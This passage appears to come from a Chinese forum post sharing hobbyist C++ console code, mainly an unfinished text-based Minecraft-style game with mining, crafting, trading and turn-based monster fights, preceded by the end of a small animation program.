system("pause");
}
}else if(t==4){
qkpm();
for(int i=1;i<=5;i++){
sleep(50);
system("cls");
cout<<"OOO\n";
cout<<" O **中\n";
sleep(50);
system("cls");
cout<<" OO\n";
cout<<" O **中.\n";
cout<<" O\n";
sleep(50);
system("cls");
cout<<" O\n";
cout<<" O **中..\n";
cout<<" OO\n";
sleep(50);
system("cls");
cout<<" \n";
cout<<" O **中...\n";
cout<<"OOO";
sleep(50);
system("cls");
cout<<" \n";
cout<<"O **中\n";
cout<<"OOO\n";
sleep(50);
system("cls");
cout<<"O \n";
cout<<"O **中.\n";
cout<<"OO \n";
sleep(50);
system("cls");
cout<<"OO \n";
cout<<"O **中..\n";
cout<<"O \n";
sleep(50);
system("cls");
cout<<"OOO\n";
cout<<"O **中...\n";
cout<<" \n";
}
return 0;
}
}
return 0;
}
新手天翼
新手天翼
文字版我的世界
#include<bits/stdc++.h>
#include<time.h>
#include<conio.h>
#include<Windows.h>
using namespace std;
string name,gname,wqm="手",hjm="空";
long long gly,hjnx=-1,hjz=0,pg=0,s=20,ssx,csg=1,wq=0,gjz=csg+wq,t,z=0,l=0,x=0,y=60,u,sy=2,dy=1,fms=0,jez=20,kfl=5,wjl=1,mb=0,mt=0,mg=0,zhongzi[4]={0,0,0,0},st=0,td=0,jd=0,wqnj=0,nj,jy=0,dj,jyzy=10,gtdj=0,gtnj=0,ftnj,tks=0,jks=0,mty=0,ysy[7]={0,0,0,0,0,0,0},yq=10,hsd=0,zk=1,mm,hb=0,hjj[4]={0,0,0,0},hjnj=0,wqq;
bool fmr=0,cldt=0,bydt=0,cly=0,tp=1,gk=0,dyt=0,zlld=0;//附魔室开关
char k,a,c;
char dg;
void js();//僵尸
void xb();//小白
void klp();//苦力怕
void xh();//小黑
void py();//平原
void mx();//冒险
int kk();//挖矿
void dd();//等待
int wk();// 挖矿2
void xl();//血量判断
void myl();//末影龙
void dl();//凋零
void dgw(string names,int b,int g,int j,int jyyy);//打怪
void zy();//字幕
void sh();//钓鱼
void sd();//商店
void bb();//背包
void jh();//交换
void cl();
void cd();//菜单
void wqgj();//武器工具
void wqy();//武器
void gzt();//工作台
void qt();//其它
void sjy();//升级
void home();//回家
void gjy();//工具
void rly();//熔炉
void czy();//村庄
void ldfd();
void xsjc();
void by();
void xhy();
void xby();
void hjy();
void tf();
void tf()
{
while(1)
{
cout<<"屠夫:你好,你要购买什么?\n0.离开 1.皮革 1煤炭\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(mt>=1)
{
mt--;
pg++;
cout<<"购买成功\n";
system("pause");
}
else
{
cout<<"煤炭不够了\n";
system("pause");
}
}
}
}
void hjy()
{
while(1)
{
system("cls");
cout<<"你要合成什么护甲?(护甲需要到背包自行装备)(材料*24)\n0.离开 1.皮革套装 2.铁套装 3.金套装 4.钻石套装\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(pg>=24)
{
hjj[0]++;
pg-=24;
cout<<"合成成功\n";
system("pause");
}
else
{
cout<<"合成失败\n";
system("pause");
}
}
else
if(a=='2')
{
if(td>=24)
{
hjj[1]++;
td-=24;
cout<<"合成成功\n";
system("pause");
}
else
{
cout<<"合成失败\n";
system("pause");
}
}
else
if(a=='3')
{
if(jd>=24)
{
hjj[2]++;
jd-=24;
cout<<"合成成功\n";
system("pause");
}
else
{
cout<<"合成失败\n";
system("pause");
}
}
else
if(a=='4')
{
if(z>=24)
{
hjj[3]++;
z-=24;
cout<<"合成成功\n";
system("pause");
}
else
{
cout<<"合成失败\n";
system("pause");
}
}
}
}
void xby()
{
while(1)
{
system("cls");
cout<<"是否继续探宝?\n0.退出 1.继续(火把*1)\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(hb>0)
{
}
else
{
cout<<"你的火把不够了。\n";
}
}
}
}
void xhy()
{
yq=10;
hsd=0;
while(1)
{
system("cls");
cout<<"潜水中,请注意氧气剩余量:"<<yq<<" 潜水深度:"<<hsd<<endl<<"0.离开 1.下潜 2.上浮 3.水肺药水 加5氧气(剩余:"<<ysy[6]<<") 3.建造补给站 200木板,50铁锭,氧气2 (当深度达到这里时,氧气加满)\n";
for(int i=0;i<yq;i++)
{
cout<<".";
}
cout<<endl;
a=getch();
if(a=='0')
{
if(hsd==0)
{
break;
}
else
{
cout<<"请先浮出水面。\n";
system("pause");
}
}
else
if(a=='1')
{
hsd++;
t=rand()%20;
if(t==0)
{
cout<<"发现海底神庙,是否进入?(有丰厚的奖励!)\n";
}
}
yq--;
if(yq<=0)
{
cout<<"你呛水了,还剩"<<s<<"滴血。\n";
yq=0;
s--;
xl();
system("pause");
}
}
}
void by()
{
if(bydt==0)
{
cout<<"请先在村庄购买通往冰原的地图\n";
system("pause");
}
else
{
while(1)
{
cout<<"欢迎来到冰原!你要去干什么?\n0.离开 1.下海 ";
if(gk==0)
{
cout<<"2.搭建港口 ";
}
else
{
cout<<"2.出海 ";
}
if(dyt==0)
{
cout<<"3搭建**\n";
}
else
{
cout<<"3.钓鱼\n";
}
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
xhy();
}
else
if(a=='2')
{
}
else
if(a=='3')
{
}
}
}
}
void xsjc()
{
while(1)
{
system("cls");
cout<<"请问你要查看什么方面的教程?\n0.退出 1.工具 2.挖矿 3.砍树 4.战斗 5.交易 6.耐久 7.背包 8.作者\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
cout<<"武器:增加一定的攻击值。\n镐子:等级越高,能采集的矿物种类就越多。\n斧子:加快砍树的速度。\n";
system("pause");
}
else
if(a=='2')
{
cout<<"挖矿需要使用镐子,否则就没有掉落物。在挖矿时有几率遇见怪物。\n";
system("pause");
}
else
if(a=='3')
{
cout<<"砍树时间越长,获得木头越多。\n";
system("pause");
}
else
if(a=='4')
{
cout<<"如果遇见怪物就会进入战斗。在战斗中可以攻击,逃跑和药水。在被动遇见怪物时无法逃跑,药水需要在村庄牧师处购买。\n";
system("pause");
}
else
if(a=='5')
{
cout<<"交易可以在村庄进行。村庄偶尔会遭到劫掠,如果打败劫掠就会得到村民的丰厚回报。\n";
system("pause");
}
else
if(a=='6')
{
cout<<"在游戏中,武器、镐子、斧子和护甲都是有耐久的,当耐久为0时效果消失。\n";
system("pause");
}
else
if(a=='7')
{
cout<<"在大多数的界面都是可以打开背包界面的,按e即可开启背包界面。\n";
system("pause");
}
else
if(a=='8')
{
cout<<"作者:YYH(如有转载请告知) QQ:2054196623(欢迎**扰,在验证消息中发送070801) 微信:没有……\n";
system("pause");
}
else
if(a=='e')
{
bb();
}
}
}
void ldfd()
{
system("cls");
cout<<"**提示:在林地府邸里有很多怪物,请确认做好准备再进入!(占领即可使用)\n1.进入\n2.离开";
a=getch();
if(a=='1')
{
if(zlld==0)
{
system("cls");
cout<<"你来到了大门口,一群卫道士冲了上来。\n";
Sleep(1000);
system("cls");
dgw("卫道士",20,8,10,20);
dgw("卫道士",20,8,10,20);
dgw("卫道士",20,8,10,20);
dgw("卫道士",20,8,10,20);
system("cls");
cout<<"你进入了大厅,有一群唤魔者来了。\n";
Sleep(1000);
system("cls");
dgw("唤魔者",30,7,10,20);
dgw("唤魔者",30,7,10,20);
dgw("唤魔者",30,7,10,20);
dgw("唤魔者",30,7,10,20);
cout<<"又有一群怪物来了。\n";
Sleep(1000);
system("cls");
js();
js();
xb();
xb();
klp();
klp();
xh();
xh();
cout<<"你已经占领了林地府邸。\n";
zlld=1;
system("pause");
}
else
{
while(1)
{
system("cls");
cout<<"欢迎来到林地府邸,你要干什么?\n1.**(刷经验) 2.寻宝/n";
a=getch();
if(a=='1')
{
time_t c_start, t_start, c_end, t_end;
c_start = clock();
t_start = time(NULL);
cout << "正在**按下任意键停止" << endl;
_getch();
c_end = clock();
t_end = time(NULL);
cout << "你获得" << (int)difftime(c_end, c_start) / 10 << "经验" << endl;
jy+= (int)difftime(c_end, c_start) / 10;
sjy();
system("pause");
}
}
}
}
else
if(a=='e')
{
bb();
}
}
void czy()
{
int tttt=rand()%10;
if(tttt==0)
{
cout<<"这个村庄正在遭到劫掠,你是否出手相助?\n1.相助\n2.离开";
a=getch();
if(a=='1')
{
dgw("劫掠者",20,6,100,50);
dgw("劫掠者",20,6,100,50);
dgw("劫掠者",20,6,100,50);
dgw("劫掠者",20,6,100,50);
dgw("劫掠兽",100,10,100,50);
cout<<"村民们都很感谢你,给你了很多绿宝石\n";
l+=100;
system ("pause");
}
else
{
cout<<"你悄悄地回了家";
cd();
system ("pause");
}
}
while(1)
{
system("cls");
cout<<"你要去找谁?\n0.离开\n1.制图师\n2.制箭师\n3.图书**员\n4.牧师\n5.屠夫";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
while(1)
{
system("cls");
if(name!="Nouth")
cout<<"制图师:你好,请问你要买什么?\n0.离开\n1.通往从林的地图 100绿宝石\n2.通往冰原的地图 100绿宝石\n";
else
cout<<"制图师:Nouth大人,你好。\n0.离开\n1.通往从林的地图 50绿宝石\n2.通往冰原的地图 50绿宝石\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(cldt==1)
{
cout<<"你已经买过这件物品了\n";
system ("pause");
}
else
if(l<100)
{
cout<<"绿宝石不够了\n";
system ("pause");
}
else
{
cout<<"购买成功\n";
l-=100;
cldt=1;
system ("pause");
}
}
else
if(a=='2')
{
if(bydt==1)
{
cout<<"你已经买过这件物品了\n";
system ("pause");
}
else
if(l<100)
{
cout<<"绿宝石不够了\n";
system ("pause");
}
else
{
cout<<"购买成功\n";
l-=100;
bydt=1;
system ("pause");
}
}
}
}
else
if(a=='4')
{
while(1)
{
system("cls");
if(zk==1)
cout<<"牧师:你好,请问你要买什么?\n0.离开\n1.治疗药水I:血量加5 20绿宝石\n2.治疗药水II:血量加10 30绿宝石\n3.治疗药水III:血量加15 40绿宝石\n4.伤害药水I:敌人血量减5 10绿宝石\n5.伤害药水II:敌人血量减10 15绿宝石\n6.伤害药水III:敌人血量减15 20绿宝石\n";
else
cout<<"牧师:你好Nouth大人,请问你要买什么?\n0.离开\n1.治疗药水I:血量加5 10绿宝石\n2.治疗药水II:血量加10 15绿宝石\n3.治疗药水III:血量加15 20绿宝石\n4.伤害药水I:敌人血量减5 5绿宝石\n5.伤害药水II:敌人血量减10 7绿宝石\n6.伤害药水III:敌人血量减15 10绿宝石\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(l>=20)
{
cout<<"购买成功\n";
l-=20/zk;
ysy[0]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
else
if(a=='2')
{
if(l>=30)
{
cout<<"购买成功\n";
l-=30/zk;
ysy[1]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
else
if(a=='3')
{
if(l>=40)
{
cout<<"购买成功\n";
l-=40/zk;
ysy[2]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
else
if(a=='4')
{
if(l>=10)
{
cout<<"购买成功\n";
l-=10/zk;
ysy[3]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
else
if(a=='5')
{
if(l>=15)
{
cout<<"购买成功\n";
l-=15/zk;
ysy[4]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
else
if(a=='6')
{
if(l>=20)
{
cout<<"购买成功\n";
l-=20/zk;
ysy[5]++;
system ("pause");
}
else
{
cout<<"绿宝石不够了\n";
system ("pause");
}
}
}
}
else
if(a=='5')
{
tf();
}
else
if(a=='e')
{
bb();
}
}
}
void rly()
{
while(1)
{
system("cls");
cout<<"煤炭:"<<mty<<endl<<"你要炼造什么?\n0.离开\n1.铁矿石(剩余"<<tks<<")\n2.金矿石(剩余"<<jks<<"个)\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
cout<<"已经为你炼造了最多\n";
if(mty<tks)
{
td+=mty;
tks-=mty;
mty=0;
}
else
{
td+=tks;
mty-=tks;
tks=0;
}
system ("pause");
}
else
if(a=='2')
{
cout<<"已经为你炼造了最多\n";
if(mty<jks)
{
jd+=mty;
jks-=mty;
mty=0;
}
else
{
jd+=jks;
mty-=jks;
jks=0;
}
system ("pause");
}
else
if(a=='e')
{
bb();
}
}
}
void gjy()
{
while(1)
{
system("cls");
cout<<"0.退出 1.木镐 2.石镐 3.铁镐 4.金镐 5.钻石镐 6.木斧 7.石斧 8.铁斧 9.金斧 a.钻石斧"<<endl;
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(gtdj>1)
{
cout<<"你已经拥有更好的镐子了";
system ("pause");
gjy();
}
if(mb>=3&&mg>=2)
{
gtdj=1;
gtnj=60;
mb-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='2')
{
if(gtdj>2)
{
cout<<"你已经拥有更好的镐子了";
system ("pause");
gjy();
}
if(mg>=2&&st>=3)
{
gtdj=2;
gtnj=132;
st-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='3')
{
if(gtdj>3)
{
cout<<"你已经拥有更好的镐子了";
system ("pause");
gjy();
}
if(mg>=2&&td>=3)
{
gtdj=3;
gtnj=251;
td-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='4')
{
if(gtdj>1)
{
cout<<"你已经拥有更好的镐子了";
system ("pause");
gjy();
}
if(mg>=2&&jd>=3)
{
gtdj=1;
gtnj=44;
jd-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='5')
{
if(mg>=2&&z>=3)
{
gtdj=4;
gtnj=1562;
z-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='6')
{
if(kfl<4)
{
cout<<"你已经拥有更好的斧子了";
system ("pause");
gjy();
}
if(mg>=2&&mb>=3)
{
kfl=4;
ftnj=60;
mb-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='7')
{
if(kfl<3)
{
cout<<"你已经拥有更好的斧子了";
system ("pause");
gjy();
}
if(mg>=2&&st>=3)
{
kfl=3;
ftnj=132;
st-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='8')
{
if(kfl<2)
{
cout<<"你已经拥有更好的斧子了";
system ("pause");
gjy();
}
if(mg>=2&&td>=3)
{
kfl=2;
ftnj=251;
td-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='9')
{
if(kfl<4)
{
cout<<"你已经拥有更好的斧子了";
system ("pause");
gjy();
}
if(mg>=2&&jd>=3)
{
kfl=4;
ftnj=44;
jd-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='a')
{
if(mg>=2&&z>=3)
{
kfl=1;
ftnj=1562;
z-=3;
mg-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='e')
{
bb();
}
}
}
void home()
{
cout<<"回家了!"<<endl;
Sleep(500);
s=ssx;
cout<<"已经为你加满血了"<<endl;
system ("pause");
}
void sjy()
{
while(jy>=jyzy)
{
dj++;
jy-=jyzy;
jyzy*=2;
cout<<"你升级了,现等级为"<<dj<<endl;
Sleep(500);
}
}
void qt()
{
while(1)
{
system("cls");
cout<<"0.退出 1.木板 2.木棍"<<endl;
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(mt>=1)
{
mb+=4;
mt--;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='2')
{
if(mb>=2)
{
mg+=4;
mb-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='e')
{
bb();
}
}
}
void gj()
{
}
void wqy()
{
while(1)
{
system("cls");
cout<<"0.退出 1.木剑 2.石剑 3.铁剑 4.金剑 5.钻石剑"<<endl;
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
if(wq>4)
{
cout<<"你已经拥有更好的武器了";
system ("pause");
wqgj();
}
if(mb>=2&&mg>=1)
{
wq=4;
wqnj=60;
wqm="木剑";
mg--;
mb-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='2')
{
if(wq>5)
{
cout<<"你已经拥有更好的武器了";
system ("pause");
wqgj();
}
if(mg>=1&&st>=2)
{
wq=5;
wqnj=126;
mg--;
st-=2;
wqm="石剑";
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='3')
{
if(wq>6)
{
cout<<"你已经拥有更好的武器了";
system ("pause");
wqgj();
}
if(mg>=1&&td>=2)
{
wq=6;
wqnj=251;
mg--;
td-=2;
wqm="铁剑";
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='4')
{
if(wq>4)
{
cout<<"你已经拥有更好的武器了";
system ("pause");
wqgj();
}
if(mg>=1&&jd>=2)
{
wq=4;
wqnj=44;
mg--;
jd-=2;
wqm="金剑";
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='5')
{
if(mg>=1&&z>=2)
{
wq=7;
wqnj=1562;
wqm="钻石剑";
mg--;
z-=2;
cout<<"合成成功"<<endl;
system ("pause");
}
else
{
cout<<"合成失败"<<endl;
system ("pause");
}
}
else
if(a=='e')
{
bb();
}
}
}
void wqgj()
{
while(1)
{
system("cls");
cout<<"请问你要合成什么?"<<endl<<"0.退出 1.武器 2.盔甲 3.工具"<<endl;
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
wqy();
}
else
if(a=='2')
{
hjy();
}
else
if(a=='3')
{
gjy();
}
else
if(a=='e')
{
bb();
}
}
}
void gzt()
{
while(1)
{
system("cls");
cout<<"请问你要合成什么类型的物品:"<<endl<<"0.退出 1.武器工具 2.家具 3.建筑 4.其它"<<endl;
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
wqgj();
}
else
if(a=='2')
{
}
else
if(a=='3')
{
}
else
if(a=='4')
{
qt();
}
else
if(a=='e')
{
bb();
}
}
}
void cl()
{
if(cldt==0)
{
cout<<"请先在村庄购买通往丛林的地图\n";
system ("pause");
cd();
}
else
{
cly=1;
while(1)
{
system("cls");
cout<<"欢迎来到丛林!(友情提示:在这里你可以得到一些平原无法得到的东西)\n0.离开 1.挖矿 2.砍树 3.寻找林地府邸\n";
a=getch();
if(a=='0')
{
cly=0;
break;
}
else
if(a=='1')
{
system("cls");
cout<<"正在搜索矿洞"<<endl;
Sleep(2000);
wk();
}
else
if(a=='2')
{
system("cls");
if(ftnj>0)
{
ftnj--;
}
else
{
kfl=5;
}
time_t c_start, t_start, c_end, t_end;
c_start = clock();
t_start = time(NULL);
cout << "正在砍树,按下任意键停止" << endl;
_getch();
c_end = clock();
t_end = time(NULL);
cout << "你获得" << (int)difftime(c_end, c_start) / (500*kfl) << "木头" << endl;
mt+= (int)difftime(c_end, c_start) / (500*kfl);
system("pause");
}
else
if(a=='3')
{
ldfd();
}
else
if(a=='e')
{
bb();
}
}
}
}
void py()
{
while(1)
{
tp=1;
system("cls");
cout<<"欢迎来到平原!你可以:"<<endl<<"0.离开 1.搜寻小麦种子(暂时没用) 2.砍树 3.刷怪 4.挖矿"<<endl;
char pyy=getch();
if(pyy=='0')
{
break;
}
else
if(pyy=='1')
{
while(1)
{
system("cls");
Sleep(1000);
t=rand()%10;
cout<<"获得小麦种子"<<t<<"个"<<endl;
zhongzi[0]+=t;
cout<<"你要退出吗?(按0)"<<endl;
pyy=getch();
if(pyy=='0')
{
break;
}
else
{
continue;
}
}
}
else
if(pyy=='2')
{
system("cls");
if(ftnj>0)
{
ftnj--;
}
else
{
kfl=5;
}
time_t c_start, t_start, c_end, t_end;
c_start = clock();
t_start = time(NULL);
cout << "正在砍树,按下任意键停止" << endl;
_getch();
c_end = clock();
t_end = time(NULL);
cout << "你获得" << (int)difftime(c_end, c_start) / (1000*kfl) << "木头" << endl;
mt+= (int)difftime(c_end, c_start) / (1000*kfl);
system("pause");
}
else
if(pyy=='3')
{
while(1)
{
system("cls");
cout<<"是否继续刷怪?\n0.退出 1.继续\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
tp=0;
int sj=rand()%4;
if(sj==0)
{
js();
}
else
if(sj==1)
{
xb();
}
else
if(sj==2)
{
klp();
}
else
{
xh();
}
}
}
}
else
if(pyy=='4')
{
system("cls");
cout<<"正在搜索矿洞"<<endl;
Sleep(1000);
wk();
}
if(pyy=='e')
{
bb();
}
}
}
void mx()
{
while(1)
{
system("cls");
cout<<"你要去哪里?"<<endl<<"0.返回 1.平原 2.丛林 3.冰原 4.村庄 5.下界 6.末地"<<endl;
char mxy=getch();
if(mxy=='0')
{
break;
}
else
if(mxy=='1')
{
py();
}
else
if(mxy=='2')
{
cl();
}
else
if(mxy=='4')
{
czy();
}
else
if(mxy=='e')
{
bb();
}
}
}
int kk()
{
k=getch();
if(k=='1')
{
x-=1;
}
else
if(k=='2')
{
x+=1;
}
else
if(k=='3')
{
y-=1;
}
else
if(k=='4')
{
return 1;
}
else
if(a=='e')
{
bb();
}
int gw=rand()%10;
if(gw==0&&k!='e')
{
js();
}
else
if(gw==1&&k!='e')
{
xb();
}
if(gtnj>0)
gtnj--;
if(gtnj==0)
{
gtdj=0;
}
if(y<=30&&y>10&>dj>=3&&cly==1)
{
int j=rand()%sy;
l+=j;
if(j!=0)
cout<<"获得绿宝石"<<j<<"颗"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
if(y<=10&>dj>=3)
{
int j=rand()%sy;
z+=j;
if(j!=0)
cout<<"获得钻石"<<j<<"颗"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
if(y>=10&>dj>=2)
{
int j=rand()%sy;
tks+=j;
if(j!=0)
cout<<"获得铁矿石"<<j<<"个"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
if(y<=30&>dj>=3&&cly==1)
{
int j=rand()%sy;
jks+=j;
if(j!=0)
cout<<"获得金矿石"<<j<<"个"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
if(gtdj>=1)
{
int j=rand()%sy;
st+=j;
if(j!=0)
cout<<"获得石头"<<j<<"个"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
if(y<=55&&y>10&>dj>=1)
{
int j=rand()%sy;
mty+=j;
if(j!=0)
cout<<"获得煤炭"<<j<<"颗"<<endl;
else
cout<<"什么都没有!"<<endl;
Sleep(300);
}
return 0;
}
int wk()
{
while(1)
{
system("cls");
cout<<"1.向左挖 2.向右挖 3.向下挖 4.离开"<<endl<<"x坐标:"<<x<<","<<"y坐标:"<<y<<"."<<endl;
if(kk()==1)
{
return 0;
}
}
}
void xl()
{
if(s<=0)
{
cout<<"你失败了"<<endl;
Sleep(1000);
s=20;
cd();
}
}
void js()
{
gname="僵尸";
dgw(gname,20,2,6,10);
}
void xb()
{
gname="小白";
dgw(gname,20,4,10,20);
}
void klp()
{
gname="苦力怕";
dgw(gname,20,0,30,30);
}
void xh()
{
gname="小黑";
dgw(gname,40,10,50,40);
}
void myl()
{
gname="末影龙";
dgw(gname,200,20,0,1000);
}
void dl()
{
gname="凋零";
dgw(gname,300,50,1000,0);
}
void dgw(string names,int b,int g,int j,int jyyy)
{
system("cls");
cout<<"一只"<<names<<"来袭"<<endl;
Sleep(1000);
while(1)
{
system("cls");
cout<<"你要干什么?"<<endl<<"1.攻击 2.逃跑 3.药水\n";
a=getch();
if(a=='3')
{
system("cls");
cout<<"你要使用什么药水?\n1.治疗药水I:血量加5*"<<ysy[0]<<"\n2.治疗药水II:血量加10*"<<ysy[1]<<"\n3.治疗药水III:血量加15*"<<ysy[2]<<"\n4.伤害药水I:敌人血量减5*"<<ysy[3]<<"\n5.伤害药水II:敌人血量减10*"<<ysy[4]<<"\n6.伤害药水III:敌人血量减15*"<<ysy[5]<<"\n";
a=getch();
if(a=='1')
{
if(ysy[0]>0)
{
s+=5;
ysy[0]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
else
if(a=='2')
{
if(ysy[1]>0)
{
s+=10;
ysy[1]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
else
if(a=='3')
{
if(ysy[2]>0)
{
s+=15;
ysy[2]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
else
if(a=='4')
{
if(ysy[3]>0)
{
b-=5;
ysy[3]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
else
if(a=='5')
{
if(ysy[4]>0)
{
b-=10;
ysy[4]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
else
if(a=='6')
{
if(ysy[5]>0)
{
b-=15;
ysy[5]--;
cout<<"使用成功\n";
system ("pause");
}
else
{
cout<<"使用失败\n";
system ("pause");
}
}
}
else
if(a=='2')
{
if(tp==0)
{
cout<<"逃跑成功"<<endl;
system ("pause");
break;
}
else
{
cout<<"逃跑失败"<<endl;
system ("pause");
}
}
else
if(a=='1')
{
cout<<"你对"<<names<<"造成了"<<gjz<<"点伤害\n";
b-=gjz;
if(wqnj==0)
{
wqm="手";
wq=0;
}
else
{
wqnj--;
}
}
if(s>ssx)
{
s=ssx;
}
if(b<0)
{
b=0;
}
cout<<names<<"还有"<<b<<"滴血\n";
if(b<=0)
{
cout<<"你还有"<<s<<"滴血\n";
int jl=rand()%j;
if(jl!=0)
{
cout<<"获得绿宝石"<<jl<<"颗\n";
l+=jl;
}
else
{
cout<<names<<"太穷了,什么也没掉落\n";
}
jy+=jyyy;
sjy();
system ("pause");
break;
}
if(hjnj>0)
{
hjnj--;
if(hjnj==0)
{
hjz=0;
hjj[hjnx]--;
}
}
if(g>=hjz)
{
cout<<names<<"对你"<<"造成了"<<g-hjz<<"点伤害\n";
s-=g-hjz;
}
else
{
cout<<names<<"对你"<<"造成了"<<0<<"点伤害\n";
}
cout<<"你还有"<<s<<"滴血\n";
system ("pause");
xl();
}
}
int op=0;
void zy()
{
gjz=csg+wq;
y=60;x=0;
string hh="请问你要去干什么?";
system("cls");
cout<<"欢迎回来:"<<name<<endl;
if(op==0)
{
cout<<"M";Sleep(100);cout<<"C";Sleep(100);cout<<"1";Sleep(100);cout<<".";Sleep(100);cout<<"2";Sleep(100);cout<<".";Sleep(100);cout<<"3";Sleep(100);cout<<endl;
}
else
{
cout<<"MC1.2.3";
}
if(op==0)
for(int i=0;i<hh.size();i++)
{
cout<<hh[i];
Sleep(100);
}
else
cout<<endl<<hh;
op=1;
cout<<endl<<"1.冒险 2.工具 3.回家 4.熔炉 5.提示 6.保存"<<endl<<"其它按照传统MC"<<endl;
a=0;
system("color 0");
a=getch();
op=1;
}
void bb()
{
while(1)
{
system("cls");
cout<<"请问你要看什么?\n0.离开 1.矿物 2.工具 3.药水 4.属** 5.其他 6.护甲\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
system("cls");
cout<<"石头"<<st<<"个,"<<"铁"<<td<<"个,"<<"金"<<jd<<"个,"<<"绿宝石"<<l<<"个,"<<"钻石"<<z<<"个\n"<<"铁矿石"<<tks<<"个\n金矿石"<<jks<<"个\n煤炭"<<mty<<"个\n";
system ("pause");
}
else
if(a=='2')
{
system("cls");
cout<<"武器:"<<wqm<<"\n耐久:"<<wqnj<<"\n镐子等级"<<gtdj<<"\n耐久:"<<gtnj<<"\n砍伐力"<<kfl<<endl;
system ("pause");
}
else
if(a=='3')
{
system("cls");
cout<<"治疗药水I "<<ysy[0]<<",治疗药水II "<<ysy[1]<<",治疗药水III "<<ysy[2]<<",伤害药水I "<<ysy[3]<<",伤害药水II"<<ysy[4]<<",伤害药水III "<<ysy[5]<<endl;
system ("pause");
}
if(a=='4')
{
system("cls");
cout<<"生命值"<<s<<endl;
system ("pause");
}
else
if(a=='5')
{
system("cls");
cout<<"木头"<<mt<<"个,"<<"木板"<<mb<<"个,"<<"木棍"<<mg<<"个\n";
system ("pause");
}
else
if(a=='6')
{
while(1)
{
system("cls");
cout<<"现装备护甲:"<<hjm<<endl<<"库存护甲:\n1.皮革护甲:"<<hjj[0]<<endl<<"2.铁护甲:"<<hjj[1]<<endl<<"3.金护甲:"<<hjj[2]<<endl<<"4.钻石护甲:"<<hjj[3]<<endl<<"0.退出 1.卸下当前护甲 2.装备护甲\n";
a=getch();
if(a=='0')
{
break;
}
else
if(a=='1')
{
cout<<"卸下成功\n";
hjm="空";
hjz=0;
hjnj=0;
system("pause");
}
else
if(a=='2')
{
if(hjm!="空")
{
cout<<"请先卸下当前护甲\n";
system("pause");
}
else
{
cout<<"请输入护甲前面的编码。\n";
a=getch();
if(a=='1')
{
